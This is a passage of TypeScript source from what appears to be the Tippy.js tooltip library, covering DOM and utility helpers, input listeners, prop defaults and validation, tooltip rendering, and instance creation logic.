normalizeToArray<T>(value: T | T[]): T[] {\n return ([] as T[]).concat(value);\n}\n\nexport function pushIfUnique<T>(arr: T[], value: T): void {\n if (arr.indexOf(value) === -1) {\n arr.push(value);\n }\n}\n\nexport function appendPxIfNumber(value: string | number): string {\n return typeof value === 'number' ? `${value}px` : value;\n}\n\nexport function unique<T>(arr: T[]): T[] {\n return arr.filter((item, index) => arr.indexOf(item) === index);\n}\n\nexport function getNumber(value: string | number): number {\n return typeof value === 'number' ? value : parseFloat(value);\n}\n\nexport function getBasePlacement(placement: Placement): BasePlacement {\n return placement.split('-')[0] as BasePlacement;\n}\n\nexport function arrayFrom(value: ArrayLike<any>): any[] {\n return [].slice.call(value);\n}\n\nexport function removeUndefinedProps(\n obj: Record<string, unknown>\n): Partial<Record<string, unknown>> {\n return Object.keys(obj).reduce((acc, key) => {\n if (obj[key] !== undefined) {\n (acc as any)[key] = obj[key];\n }\n\n return acc;\n }, {});\n}\n","import {ReferenceElement, Targets} from './types';\nimport {PopperTreeData} from './types-internal';\nimport {arrayFrom, isType, normalizeToArray, getBasePlacement} from './utils';\n\nexport function div(): HTMLDivElement {\n return document.createElement('div');\n}\n\nexport function isElement(value: unknown): value is Element | DocumentFragment {\n return ['Element', 'Fragment'].some((type) => isType(value, type));\n}\n\nexport function isNodeList(value: unknown): value is NodeList {\n return isType(value, 'NodeList');\n}\n\nexport function isMouseEvent(value: unknown): value is MouseEvent {\n return isType(value, 'MouseEvent');\n}\n\nexport function isReferenceElement(value: any): value is ReferenceElement {\n return !!(value && value._tippy && value._tippy.reference === value);\n}\n\nexport function getArrayOfElements(value: Targets): Element[] {\n if (isElement(value)) {\n return [value];\n }\n\n if (isNodeList(value)) {\n return arrayFrom(value);\n }\n\n if (Array.isArray(value)) {\n return value;\n }\n\n return arrayFrom(document.querySelectorAll(value));\n}\n\nexport function setTransitionDuration(\n els: (HTMLDivElement | null)[],\n value: number\n): void {\n els.forEach((el) => {\n if (el) {\n el.style.transitionDuration = `${value}ms`;\n }\n });\n}\n\nexport function setVisibilityState(\n els: (HTMLDivElement | null)[],\n state: 'visible' | 'hidden'\n): void {\n els.forEach((el) => {\n if (el) {\n el.setAttribute('data-state', state);\n }\n });\n}\n\nexport function getOwnerDocument(\n elementOrElements: Element | Element[]\n): Document {\n const [element] = normalizeToArray(elementOrElements);\n\n // Elements created via a <template> have an ownerDocument with no reference to the body\n return element?.ownerDocument?.body ? element.ownerDocument : document;\n}\n\nexport function isCursorOutsideInteractiveBorder(\n popperTreeData: PopperTreeData[],\n event: MouseEvent\n): boolean {\n const {clientX, clientY} = event;\n\n return popperTreeData.every(({popperRect, popperState, props}) => {\n const {interactiveBorder} = props;\n const basePlacement = getBasePlacement(popperState.placement);\n const offsetData = popperState.modifiersData.offset;\n\n if (!offsetData) {\n return true;\n }\n\n const topDistance = basePlacement === 'bottom' ? offsetData.top!.y : 0;\n const bottomDistance = basePlacement === 'top' ? offsetData.bottom!.y : 0;\n const leftDistance = basePlacement === 'right' ? offsetData.left!.x : 0;\n const rightDistance = basePlacement === 'left' ? offsetData.right!.x : 0;\n\n const exceedsTop =\n popperRect.top - clientY + topDistance > interactiveBorder;\n const exceedsBottom =\n clientY - popperRect.bottom - bottomDistance > interactiveBorder;\n const exceedsLeft =\n popperRect.left - clientX + leftDistance > interactiveBorder;\n const exceedsRight =\n clientX - popperRect.right - rightDistance > interactiveBorder;\n\n return exceedsTop || exceedsBottom || exceedsLeft || exceedsRight;\n });\n}\n\nexport function updateTransitionEndListener(\n box: HTMLDivElement,\n action: 'add' | 'remove',\n listener: (event: TransitionEvent) => void\n): void {\n const method = `${action}EventListener` as\n | 'addEventListener'\n | 'removeEventListener';\n\n // some browsers apparently support `transition` (unprefixed) but only fire\n // `webkitTransitionEnd`...\n ['transitionend', 'webkitTransitionEnd'].forEach((event) => {\n box[method](event, listener as EventListener);\n });\n}\n\n/**\n * Compared to xxx.contains, this function works for dom structures with shadow\n * dom\n */\nexport function actualContains(parent: Element, child: Element): boolean {\n let target = child;\n while (target) {\n if (parent.contains(target)) {\n return true;\n }\n target = (target.getRootNode?.() as any)?.host;\n }\n return false;\n}\n","import {TOUCH_OPTIONS} from './constants';\nimport {isReferenceElement} from './dom-utils';\n\nexport const currentInput = {isTouch: false};\nlet lastMouseMoveTime = 0;\n\n/**\n * When a `touchstart` event is fired, it's assumed the user is using touch\n * input. We'll bind a `mousemove` event listener to listen for mouse input in\n * the future. This way, the `isTouch` property is fully dynamic and will handle\n * hybrid devices that use a mix of touch + mouse input.\n */\nexport function onDocumentTouchStart(): void {\n if (currentInput.isTouch) {\n return;\n }\n\n currentInput.isTouch = true;\n\n if (window.performance) {\n document.addEventListener('mousemove', onDocumentMouseMove);\n }\n}\n\n/**\n * When two `mousemove` event are fired consecutively within 20ms, it's assumed\n * the user is using mouse input again. `mousemove` can fire on touch devices as\n * well, but very rarely that quickly.\n */\nexport function onDocumentMouseMove(): void {\n const now = performance.now();\n\n if (now - lastMouseMoveTime < 20) {\n currentInput.isTouch = false;\n\n document.removeEventListener('mousemove', onDocumentMouseMove);\n }\n\n lastMouseMoveTime = now;\n}\n\n/**\n * When an element is in focus and has a tippy, leaving the tab/window and\n * returning causes it to show again. For mouse users this is unexpected, but\n * for keyboard use it makes sense.\n * TODO: find a better technique to solve this problem\n */\nexport function onWindowBlur(): void {\n const activeElement = document.activeElement as HTMLElement | null;\n\n if (isReferenceElement(activeElement)) {\n const instance = activeElement._tippy!;\n\n if (activeElement.blur && !instance.state.isVisible) {\n activeElement.blur();\n }\n }\n}\n\nexport default function bindGlobalEventListeners(): void {\n document.addEventListener('touchstart', onDocumentTouchStart, TOUCH_OPTIONS);\n window.addEventListener('blur', onWindowBlur);\n}\n","import {DefaultProps, Plugin, Props, ReferenceElement, Tippy} from './types';\nimport {\n hasOwnProperty,\n removeProperties,\n invokeWithArgsOrReturn,\n} from './utils';\nimport {warnWhen} from './validation';\nimport {TIPPY_DEFAULT_APPEND_TO} from './constants';\n\nconst pluginProps = {\n animateFill: false,\n followCursor: false,\n inlinePositioning: false,\n sticky: false,\n};\n\nconst renderProps = {\n allowHTML: false,\n animation: 'fade',\n arrow: true,\n content: '',\n inertia: false,\n maxWidth: 350,\n role: 'tooltip',\n theme: '',\n zIndex: 9999,\n};\n\nexport const defaultProps: DefaultProps = {\n appendTo: TIPPY_DEFAULT_APPEND_TO,\n aria: {\n content: 'auto',\n expanded: 'auto',\n },\n delay: 0,\n duration: [300, 250],\n getReferenceClientRect: null,\n hideOnClick: true,\n ignoreAttributes: false,\n interactive: false,\n interactiveBorder: 2,\n interactiveDebounce: 0,\n moveTransition: '',\n offset: [0, 10],\n onAfterUpdate() {},\n onBeforeUpdate() {},\n onCreate() {},\n onDestroy() {},\n onHidden() {},\n onHide() {},\n onMount() {},\n onShow() {},\n onShown() {},\n onTrigger() {},\n onUntrigger() {},\n onClickOutside() {},\n placement: 'top',\n plugins: [],\n popperOptions: {},\n render: null,\n showOnCreate: false,\n touch: true,\n trigger: 'mouseenter focus',\n triggerTarget: null,\n ...pluginProps,\n ...renderProps,\n};\n\nconst defaultKeys = Object.keys(defaultProps);\n\nexport const setDefaultProps: Tippy['setDefaultProps'] = (partialProps) => {\n /* istanbul ignore else */\n if (__DEV__) {\n validateProps(partialProps, []);\n }\n\n const keys = Object.keys(partialProps) as Array<keyof DefaultProps>;\n keys.forEach((key) => {\n (defaultProps as any)[key] = partialProps[key];\n });\n};\n\nexport function getExtendedPassedProps(\n passedProps: Partial<Props> & Record<string, unknown>\n): Partial<Props> {\n const plugins = passedProps.plugins || [];\n const pluginProps = plugins.reduce<Record<string, unknown>>((acc, plugin) => {\n const {name, defaultValue} = plugin;\n\n if (name) {\n acc[name] =\n passedProps[name] !== undefined\n ? passedProps[name]\n : (defaultProps as any)[name] ?? defaultValue;\n }\n\n return acc;\n }, {});\n\n return {\n ...passedProps,\n ...pluginProps,\n };\n}\n\nexport function getDataAttributeProps(\n reference: ReferenceElement,\n plugins: Plugin[]\n): Record<string, unknown> {\n const propKeys = plugins\n ? Object.keys(getExtendedPassedProps({...defaultProps, plugins}))\n : defaultKeys;\n\n const props = propKeys.reduce(\n (acc: Partial<Props> & Record<string, unknown>, key) => {\n const valueAsString = (\n reference.getAttribute(`data-tippy-${key}`) || ''\n ).trim();\n\n if (!valueAsString) {\n return acc;\n }\n\n if (key === 'content') {\n acc[key] = valueAsString;\n } else {\n try {\n acc[key] = JSON.parse(valueAsString);\n } catch (e) {\n acc[key] = valueAsString;\n }\n }\n\n return acc;\n },\n {}\n );\n\n return props;\n}\n\nexport function evaluateProps(\n reference: ReferenceElement,\n props: Props\n): Props {\n const out = {\n ...props,\n content: invokeWithArgsOrReturn(props.content, [reference]),\n ...(props.ignoreAttributes\n ? {}\n : getDataAttributeProps(reference, props.plugins)),\n };\n\n out.aria = {\n ...defaultProps.aria,\n ...out.aria,\n };\n\n out.aria = {\n expanded:\n out.aria.expanded === 'auto' ? props.interactive : out.aria.expanded,\n content:\n out.aria.content === 'auto'\n ? props.interactive\n ? null\n : 'describedby'\n : out.aria.content,\n };\n\n return out;\n}\n\nexport function validateProps(\n partialProps: Partial<Props> = {},\n plugins: Plugin[] = []\n): void {\n const keys = Object.keys(partialProps) as Array<keyof Props>;\n keys.forEach((prop) => {\n const nonPluginProps = removeProperties(\n defaultProps,\n Object.keys(pluginProps)\n );\n\n let didPassUnknownProp = !hasOwnProperty(nonPluginProps, prop);\n\n // Check if the prop exists in `plugins`\n if (didPassUnknownProp) {\n didPassUnknownProp =\n plugins.filter((plugin) => plugin.name === prop).length === 0;\n }\n\n warnWhen(\n didPassUnknownProp,\n [\n `\\`${prop}\\``,\n \"is not a valid prop. You may have spelled it incorrectly, or if it's\",\n 'a plugin, forgot to pass it in an array as props.plugins.',\n '\\n\\n',\n 'All props: https://atomiks.github.io/tippyjs/v6/all-props/\\n',\n 'Plugins: https://atomiks.github.io/tippyjs/v6/plugins/',\n ].join(' ')\n );\n });\n}\n","import {\n ARROW_CLASS,\n BACKDROP_CLASS,\n BOX_CLASS,\n CONTENT_CLASS,\n SVG_ARROW_CLASS,\n} from './constants';\nimport {div, isElement} from './dom-utils';\nimport {Instance, PopperElement, Props} from './types';\nimport {PopperChildren} from './types-internal';\nimport {arrayFrom} from './utils';\n\n// Firefox extensions don't allow .innerHTML = \"...\" property. This tricks it.\nconst innerHTML = (): 'innerHTML' => 'innerHTML';\n\nfunction dangerouslySetInnerHTML(element: Element, html: string): void {\n element[innerHTML()] = html;\n}\n\nfunction createArrowElement(value: Props['arrow']): HTMLDivElement {\n const arrow = div();\n\n if (value === true) {\n arrow.className = ARROW_CLASS;\n } else {\n arrow.className = SVG_ARROW_CLASS;\n\n if (isElement(value)) {\n arrow.appendChild(value);\n } else {\n dangerouslySetInnerHTML(arrow, value as string);\n }\n }\n\n return arrow;\n}\n\nexport function setContent(content: HTMLDivElement, props: Props): void {\n if (isElement(props.content)) {\n dangerouslySetInnerHTML(content, '');\n content.appendChild(props.content);\n } else if (typeof props.content !== 'function') {\n if (props.allowHTML) {\n dangerouslySetInnerHTML(content, props.content);\n } else {\n content.textContent = props.content;\n }\n }\n}\n\nexport function getChildren(popper: PopperElement): PopperChildren {\n const box = popper.firstElementChild as HTMLDivElement;\n const boxChildren = arrayFrom(box.children);\n\n return {\n box,\n content: boxChildren.find((node) => node.classList.contains(CONTENT_CLASS)),\n arrow: boxChildren.find(\n (node) =>\n node.classList.contains(ARROW_CLASS) ||\n node.classList.contains(SVG_ARROW_CLASS)\n ),\n backdrop: boxChildren.find((node) =>\n node.classList.contains(BACKDROP_CLASS)\n ),\n };\n}\n\nexport function render(\n instance: Instance\n): {\n popper: PopperElement;\n onUpdate?: (prevProps: Props, nextProps: Props) => void;\n} {\n const popper = div();\n\n const box = div();\n box.className = BOX_CLASS;\n box.setAttribute('data-state', 'hidden');\n box.setAttribute('tabindex', '-1');\n\n const content = div();\n content.className = CONTENT_CLASS;\n content.setAttribute('data-state', 'hidden');\n\n setContent(content, instance.props);\n\n popper.appendChild(box);\n box.appendChild(content);\n\n onUpdate(instance.props, instance.props);\n\n function onUpdate(prevProps: Props, nextProps: Props): void {\n const {box, content, arrow} = getChildren(popper);\n\n if (nextProps.theme) {\n box.setAttribute('data-theme', nextProps.theme);\n } else {\n box.removeAttribute('data-theme');\n }\n\n if (typeof nextProps.animation === 'string') {\n box.setAttribute('data-animation', nextProps.animation);\n } else {\n box.removeAttribute('data-animation');\n }\n\n if (nextProps.inertia) {\n box.setAttribute('data-inertia', '');\n } else {\n box.removeAttribute('data-inertia');\n }\n\n box.style.maxWidth =\n typeof nextProps.maxWidth === 'number'\n ? `${nextProps.maxWidth}px`\n : nextProps.maxWidth;\n\n if (nextProps.role) {\n box.setAttribute('role', nextProps.role);\n } else {\n box.removeAttribute('role');\n }\n\n if (\n prevProps.content !== nextProps.content ||\n prevProps.allowHTML !== nextProps.allowHTML\n ) {\n setContent(content, instance.props);\n }\n\n if (nextProps.arrow) {\n if (!arrow) {\n box.appendChild(createArrowElement(nextProps.arrow));\n } else if (prevProps.arrow !== nextProps.arrow) {\n box.removeChild(arrow);\n box.appendChild(createArrowElement(nextProps.arrow));\n }\n } else if (arrow) {\n box.removeChild(arrow!);\n }\n }\n\n return {\n popper,\n onUpdate,\n };\n}\n\n// Runtime check to identify if the render function is the default one; this\n// way we can apply default CSS transitions logic and it can be tree-shaken away\nrender.$$tippy = true;\n","import {createPopper, StrictModifiers, Modifier} from '@popperjs/core';\nimport {currentInput} from './bindGlobalEventListeners';\nimport {isIE11} from './browser';\nimport {TIPPY_DEFAULT_APPEND_TO, TOUCH_OPTIONS} from './constants';\nimport {\n actualContains,\n div,\n getOwnerDocument,\n isCursorOutsideInteractiveBorder,\n isMouseEvent,\n setTransitionDuration,\n setVisibilityState,\n updateTransitionEndListener,\n} from './dom-utils';\nimport {defaultProps, evaluateProps, getExtendedPassedProps} from './props';\nimport {getChildren} from './template';\nimport {\n Content,\n Instance,\n LifecycleHooks,\n PopperElement,\n Props,\n ReferenceElement,\n} from './types';\nimport {ListenerObject, PopperTreeData, PopperChildren} from './types-internal';\nimport {\n arrayFrom,\n debounce,\n getValueAtIndexOrReturn,\n invokeWithArgsOrReturn,\n normalizeToArray,\n pushIfUnique,\n splitBySpaces,\n unique,\n removeUndefinedProps,\n} from './utils';\nimport {createMemoryLeakWarning, errorWhen, warnWhen} from './validation';\n\nlet idCounter = 1;\nlet mouseMoveListeners: ((event: MouseEvent) => void)[] = [];\n\n// Used by `hideAll()`\nexport let mountedInstances: Instance[] = [];\n\nexport default function createTippy(\n reference: ReferenceElement,\n passedProps: Partial<Props>\n): Instance {\n const props = evaluateProps(reference, {\n ...defaultProps,\n ...getExtendedPassedProps(removeUndefinedProps(passedProps)),\n });\n\n // ===========================================================================\n // 🔒 Private members\n // ===========================================================================\n let showTimeout: any;\n let hideTimeout: any;\n let scheduleHideAnimationFrame: number;\n let isVisibleFromClick = false;\n let didHideDueToDocumentMouseDown = false;\n let didTouchMove = false;\n let ignoreOnFirstUpdate = false;\n let lastTriggerEvent: Event | undefined;\n let currentTransitionEndListener: (event: TransitionEvent) => void;\n let onFirstUpdate: () => void;\n let listeners: ListenerObject[] = [];\n let debouncedOnMouseMove = debounce(onMouseMove, props.interactiveDebounce);\n let currentTarget: Element;\n\n // ===========================================================================\n // 🔑 Public members\n // ===========================================================================\n const id = idCounter++;\n const popperInstance = null;\n const plugins = unique(props.plugins);\n\n const state = {\n // Is the instance currently enabled?\n isEnabled: true,\n // Is the tippy currently showing and not transitioning out?\n isVisible: false,\n // Has the instance been destroyed?\n isDestroyed: false,\n // Is the tippy currently mounted to the DOM?\n isMounted: false,\n // Has the tippy finished transitioning in?\n isShown: false,\n };\n\n const instance: Instance = {\n // properties\n id,\n reference,\n popper: div(),\n popperInstance,\n props,\n state,\n plugins,\n // methods\n clearDelayTimeouts,\n setProps,\n setContent,\n show,\n hide,\n hideWithInteractivity,\n enable,\n disable,\n unmount,\n destroy,\n };\n\n // TODO: Investigate why this early return causes a TDZ error in the tests —\n // it doesn't seem to happen in the browser\n /* istanbul ignore if */\n if (!props.render) {\n if (__DEV__) {\n errorWhen(true, 'render() function has not been supplied.');\n }\n\n return instance;\n }\n\n // ===========================================================================\n // Initial mutations\n // ===========================================================================\n const {popper, onUpdate} = props.render(instance);\n\n popper.setAttribute('data-__NAMESPACE_PREFIX__-root', '');\n popper.id = `__NAMESPACE_PREFIX__-${instance.id}`;\n\n instance.popper = popper;\n reference._tippy = instance;\n popper._tippy = instance;\n\n const pluginsHooks = plugins.map((plugin) => plugin.fn(instance));\n const hasAriaExpanded = reference.hasAttribute('aria-expanded');\n\n addListeners();\n handleAriaExpandedAttribute();\n handleStyles();\n\n invokeHook('onCreate', [instance]);\n\n if (props.showOnCreate) {\n scheduleShow();\n }\n\n // Prevent a tippy with a delay from hiding if the cursor left then returned\n // before it started hiding\n popper.addEventListener('mouseenter', () => {\n if (instance.props.interactive && instance.state.isVisible) {\n instance.clearDelayTimeouts();\n }\n });\n\n popper.addEventListener('mouseleave', () => {\n if (\n instance.props.interactive &&\n instance.props.trigger.indexOf('mouseenter') >= 0\n ) {\n getDocument().addEventListener('mousemove', debouncedOnMouseMove);\n }\n });\n\n return instance;\n\n // ===========================================================================\n // 🔒 Private methods\n // ===========================================================================\n function getNormalizedTouchSettings(): [string | boolean, number] {\n const {touch} = instance.props;\n return Array.isArray(touch) ? touch : [touch, 0];\n }\n\n function getIsCustomTouchBehavior(): boolean {\n return getNormalizedTouchSettings()[0] === 'hold';\n }\n\n function getIsDefaultRenderFn(): boolean {\n // @ts-ignore\n return !!instance.props.render?.$$tippy;\n }\n\n function getCurrentTarget(): Element {\n return currentTarget || reference;\n }\n\n function getDocument(): Document {\n const parent = getCurrentTarget().parentNode as Element;\n return parent ? getOwnerDocument(parent) : document;\n }\n\n function getDefaultTemplateChildren(): PopperChildren {\n return getChildren(popper);\n }\n\n function getDelay(isShow: boolean): number {\n // For touch or keyboard input, force `0` delay for UX reasons\n // Also if the instance is mounted but not visible (transitioning out),\n // ignore delay\n if (\n (instance.state.isMounted && !instance.state.isVisible) ||\n currentInput.isTouch ||\n (lastTriggerEvent && lastTriggerEvent.type === 'focus')\n ) {\n return 0;\n }\n\n return getValueAtIndexOrReturn(\n instance.props.delay,\n isShow ? 0 : 1,\n defaultProps.delay\n );\n }\n\n function handleStyles(fromHide = false): void {\n popper.style.pointerEvents =\n instance.props.interactive && !fromHide ? '' : 'none';\n popper.style.zIndex = `${instance.props.zIndex}`;\n }\n\n function invokeHook(\n hook: keyof LifecycleHooks,\n args: [Instance, any?],\n shouldInvokePropsHook = true\n ): void {\n pluginsHooks.forEach((pluginHooks) => {\n if (pluginHooks[hook]) {\n pluginHooks[hook]!(...args);\n }\n });\n\n if (shouldInvokePropsHook) {\n instance.props[hook](...args);\n }\n }\n\n function handleAriaContentAttribute(): void {\n const {aria} = instance.props;\n\n if (!aria.content) {\n return;\n }\n\n const attr = `aria-${aria.content}`;\n const id = popper.id;\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n\n nodes.forEach((node) => {\n const currentValue = node.getAttribute(attr);\n\n if (instance.state.isVisible) {\n node.setAttribute(attr, currentValue ? `${currentValue} ${id}` : id);\n } else {\n const nextValue = currentValue && currentValue.replace(id, '').trim();\n\n if (nextValue) {\n node.setAttribute(attr, nextValue);\n } else {\n node.removeAttribute(attr);\n }\n }\n });\n }\n\n function handleAriaExpandedAttribute(): void {\n if (hasAriaExpanded || !instance.props.aria.expanded) {\n return;\n }\n\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n\n nodes.forEach((node) => {\n if (instance.props.interactive) {\n node.setAttribute(\n 'aria-expanded',\n instance.state.isVisible && node === getCurrentTarget()\n ? 'true'\n : 'false'\n );\n } else {\n node.removeAttribute('aria-expanded');\n }\n });\n }\n\n function cleanupInteractiveMouseListeners(): void {\n getDocument().removeEventListener('mousemove', debouncedOnMouseMove);\n mouseMoveListeners = mouseMoveListeners.filter(\n (listener) => listener !== debouncedOnMouseMove\n );\n }\n\n function onDocumentPress(event: MouseEvent | TouchEvent): void {\n // Moved finger to scroll instead of an intentional tap outside\n if (currentInput.isTouch) {\n if (didTouchMove || event.type === 'mousedown') {\n return;\n }\n }\n\n const actualTarget =\n (event.composedPath && event.composedPath()[0]) || event.target;\n\n // Clicked on interactive popper\n if (\n instance.props.interactive &&\n actualContains(popper, actualTarget as Element)\n ) {\n return;\n }\n\n // Clicked on the event listeners target\n if (\n normalizeToArray(instance.props.triggerTarget || reference).some((el) =>\n actualContains(el, actualTarget as Element)\n )\n ) {\n if (currentInput.isTouch) {\n return;\n }\n\n if (\n instance.state.isVisible &&\n instance.props.trigger.indexOf('click') >= 0\n ) {\n return;\n }\n } else {\n invokeHook('onClickOutside', [instance, event]);\n }\n\n if (instance.props.hideOnClick === true) {\n instance.clearDelayTimeouts();\n instance.hide();\n\n // `mousedown` event is fired right before `focus` if pressing the\n // currentTarget. This lets a tippy with `focus` trigger know that it\n // should not show\n didHideDueToDocumentMouseDown = true;\n setTimeout(() => {\n didHideDueToDocumentMouseDown = false;\n });\n\n // The listener gets added in `scheduleShow()`, but this may be hiding it\n // before it shows, and hide()'s early bail-out behavior can prevent it\n // from being cleaned up\n if (!instance.state.isMounted) {\n removeDocumentPress();\n }\n }\n }\n\n function onTouchMove(): void {\n didTouchMove = true;\n }\n\n function onTouchStart(): void {\n didTouchMove = false;\n }\n\n function addDocumentPress(): void {\n const doc = getDocument();\n doc.addEventListener('mousedown', onDocumentPress, true);\n doc.addEventListener('touchend', onDocumentPress, TOUCH_OPTIONS);\n doc.addEventListener('touchstart', onTouchStart, TOUCH_OPTIONS);\n doc.addEventListener('touchmove', onTouchMove, TOUCH_OPTIONS);\n }\n\n function removeDocumentPress(): void {\n const doc = getDocument();\n doc.removeEventListener('mousedown', onDocumentPress, true);\n doc.removeEventListener('touchend', onDocumentPress, TOUCH_OPTIONS);\n doc.removeEventListener('touchstart', onTouchStart, TOUCH_OPTIONS);\n doc.removeEventListener('touchmove', onTouchMove, TOUCH_OPTIONS);\n }\n\n function onTransitionedOut(duration: number, callback: () => void): void {\n onTransitionEnd(duration, () => {\n if (\n !instance.state.isVisible &&\n popper.parentNode &&\n popper.parentNode.contains(popper)\n ) {\n callback();\n }\n });\n }\n\n function onTransitionedIn(duration: number, callback: () => void): void {\n onTransitionEnd(duration, callback);\n }\n\n function onTransitionEnd(duration: number, callback: () => void): void {\n const box = getDefaultTemplateChildren().box;\n\n function listener(event: TransitionEvent): void {\n if (event.target === box) {\n updateTransitionEndListener(box, 'remove', listener);\n callback();\n }\n }\n\n // Make callback synchronous if duration is 0\n // `transitionend` won't fire otherwise\n if (duration === 0) {\n return callback();\n }\n\n updateTransitionEndListener(box, 'remove', currentTransitionEndListener);\n updateTransitionEndListener(box, 'add', listener);\n\n currentTransitionEndListener = listener;\n }\n\n function on(\n eventType: string,\n handler: EventListener,\n options: boolean | Record<string, unknown> = false\n ): void {\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n nodes.forEach((node) => {\n node.addEventListener(eventType, handler, options);\n listeners.push({node, eventType, handler, options});\n });\n }\n\n function addListeners(): void {\n if (getIsCustomTouchBehavior()) {\n on('touchstart', onTrigger, {passive: true});\n on('touchend', onMouseLeave as EventListener, {passive: true});\n }\n\n splitBySpaces(instance.props.trigger).forEach((eventType) => {\n if (eventType === 'manual') {\n return;\n }\n\n on(eventType, onTrigger);\n\n switch (eventType) {\n case 'mouseenter':\n on('mouseleave', onMouseLeave as EventListener);\n break;\n case 'focus':\n on(isIE11 ? 'focusout' : 'blur', onBlurOrFocusOut as EventListener);\n break;\n case 'focusin':\n on('focusout', onBlurOrFocusOut as EventListener);\n break;\n }\n });\n }\n\n function removeListeners(): void {\n listeners.forEach(({node, eventType, handler, options}: ListenerObject) => {\n node.removeEventListener(eventType, handler, options);\n });\n listeners = [];\n }\n\n function onTrigger(event: Event): void {\n let shouldScheduleClickHide = false;\n\n if (\n !instance.state.isEnabled ||\n isEventListenerStopped(event) ||\n didHideDueToDocumentMouseDown\n ) {\n return;\n }\n\n const wasFocused = lastTriggerEvent?.type === 'focus';\n\n lastTriggerEvent = event;\n currentTarget = event.currentTarget as Element;\n\n handleAriaExpandedAttribute();\n\n if (!instance.state.isVisible && isMouseEvent(event)) {\n // If scrolling, `mouseenter` events can be fired if the cursor lands\n // over a new target, but `mousemove` events don't get fired. This\n // causes interactive tooltips to get stuck open until the cursor is\n // moved\n mouseMoveListeners.forEach((listener) => listener(event));\n }\n\n // Toggle show/hide when clicking click-triggered tooltips\n if (\n event.type === 'click' &&\n (instance.props.trigger.indexOf('mouseenter') < 0 ||\n isVisibleFromClick) &&\n instance.props.hideOnClick !== false &&\n instance.state.isVisible\n ) {\n shouldScheduleClickHide = true;\n } else {\n scheduleShow(event);\n }\n\n if (event.type === 'click') {\n isVisibleFromClick = !shouldScheduleClickHide;\n }\n\n if (shouldScheduleClickHide && !wasFocused) {\n scheduleHide(event);\n }\n }\n\n function onMouseMove(event: MouseEvent): void {\n const target = event.target as Node;\n const isCursorOverReferenceOrPopper =\n getCurrentTarget().contains(target) || popper.contains(target);\n\n if (event.type === 'mousemove' && isCursorOverReferenceOrPopper) {\n return;\n }\n\n const popperTreeData = getNestedPopperTree()\n .concat(popper)\n .map((popper) => {\n const instance = popper._tippy!;\n const state = instance.popperInstance?.state;\n\n if (state) {\n return {\n popperRect: popper.getBoundingClientRect(),\n popperState: state,\n props,\n };\n }\n\n return null;\n })\n .filter(Boolean) as PopperTreeData[];\n\n if (isCursorOutsideInteractiveBorder(popperTreeData, event)) {\n cleanupInteractiveMouseListeners();\n scheduleHide(event);\n }\n }\n\n function onMouseLeave(event: MouseEvent): void {\n const shouldBail =\n isEventListenerStopped(event) ||\n (instance.props.trigger.indexOf('click') >= 0 && isVisibleFromClick);\n\n if (shouldBail) {\n return;\n }\n\n if (instance.props.interactive) {\n instance.hideWithInteractivity(event);\n return;\n }\n\n scheduleHide(event);\n }\n\n function onBlurOrFocusOut(event: FocusEvent): void {\n if (\n instance.props.trigger.indexOf('focusin') < 0 &&\n event.target !== getCurrentTarget()\n ) {\n return;\n }\n\n // If focus was moved to within the popper\n if (\n instance.props.interactive &&\n event.relatedTarget &&\n popper.contains(event.relatedTarget as Element)\n ) {\n return;\n }\n\n scheduleHide(event);\n }\n\n function isEventListenerStopped(event: Event): boolean {\n return currentInput.isTouch\n ? getIsCustomTouchBehavior() !== event.type.indexOf('touch') >= 0\n : false;\n }\n\n function createPopperInstance(): void {\n destroyPopperInstance();\n\n const {\n popperOptions,\n placement,\n offset,\n getReferenceClientRect,\n moveTransition,\n } = instance.props;\n\n const arrow = getIsDefaultRenderFn() ? getChildren(popper).arrow : null;\n\n const computedReference = getReferenceClientRect\n ? {\n getBoundingClientRect: getReferenceClientRect,\n contextElement:\n getReferenceClientRect.contextElement || getCurrentTarget(),\n }\n : reference;\n\n const tippyModifier: Modifier<'$$tippy', Record<string, unknown>> = {\n name: '$$tippy',\n enabled: true,\n phase: 'beforeWrite',\n requires: ['computeStyles'],\n fn({state}) {\n if (getIsDefaultRenderFn()) {\n const {box} = getDefaultTemplateChildren();\n\n ['placement', 'reference-hidden', 'escaped'].forEach((attr) => {\n if (attr === 'placement') {\n box.setAttribute('data-placement', state.placement);\n } else {\n if (state.attributes.popper[`data-popper-${attr}`]) {\n box.setAttribute(`data-${attr}`, '');\n } else {\n box.removeAttribute(`data-${attr}`);\n }\n }\n });\n\n state.attributes.popper = {};\n }\n },\n };\n\n type TippyModifier = Modifier<'$$tippy', Record<string, unknown>>;\n type ExtendedModifiers = StrictModifiers | Partial<TippyModifier>;\n\n const modifiers: Array<ExtendedModifiers> = [\n {\n name: 'offset',\n options: {\n offset,\n },\n },\n {\n name: 'preventOverflow',\n options: {\n padding: {\n top: 2,\n bottom: 2,\n left: 5,\n right: 5,\n },\n },\n },\n {\n name: 'flip',\n options: {\n padding: 5,\n },\n },\n {\n name: 'computeStyles',\n options: {\n adaptive: !moveTransition,\n },\n },\n tippyModifier,\n ];\n\n if (getIsDefaultRenderFn() && arrow) {\n modifiers.push({\n name: 'arrow',\n options: {\n element: arrow,\n padding: 3,\n },\n });\n }\n\n modifiers.push(...(popperOptions?.modifiers || []));\n\n instance.popperInstance = createPopper<ExtendedModifiers>(\n computedReference,\n popper,\n {\n ...popperOptions,\n placement,\n onFirstUpdate,\n modifiers,\n }\n );\n }\n\n function destroyPopperInstance(): void {\n if (instance.popperInstance) {\n instance.popperInstance.destroy();\n instance.popperInstance = null;\n }\n }\n\n function mount(): void {\n const {appendTo} = instance.props;\n\n let parentNode: any;\n\n // By default, we'll append the popper to the triggerTargets's parentNode so\n // it's directly after the reference element so the elements inside the\n // tippy can be tabbed to\n // If there are clipping issues, the user can specify a different appendTo\n // and ensure focus management is handled correctly manually\n const node = getCurrentTarget();\n\n if (\n (instance.props.interactive && appendTo === TIPPY_DEFAULT_APPEND_TO) ||\n appendTo === 'parent'\n ) {\n parentNode = node.parentNode;\n } else {\n parentNode = invokeWithArgsOrReturn(appendTo, [node]);\n }\n\n // The popper element needs to exist on the DOM before its position can be\n // updated as Popper needs to read its dimensions\n if (!parentNode.contains(popper)) {\n parentNode.appendChild(popper);\n }\n\n instance.state.isMounted = true;\n\n createPopperInstance();\n\n /* istanbul ignore else */\n if (__DEV__) {\n // Accessibility check\n warnWhen(\n instance.props.interactive &&\n appendTo === defaultProps.appendTo &&\n node.nextElementSibling !== popper,\n [\n 'Interactive tippy element may not be accessible via keyboard',\n 'navigation because 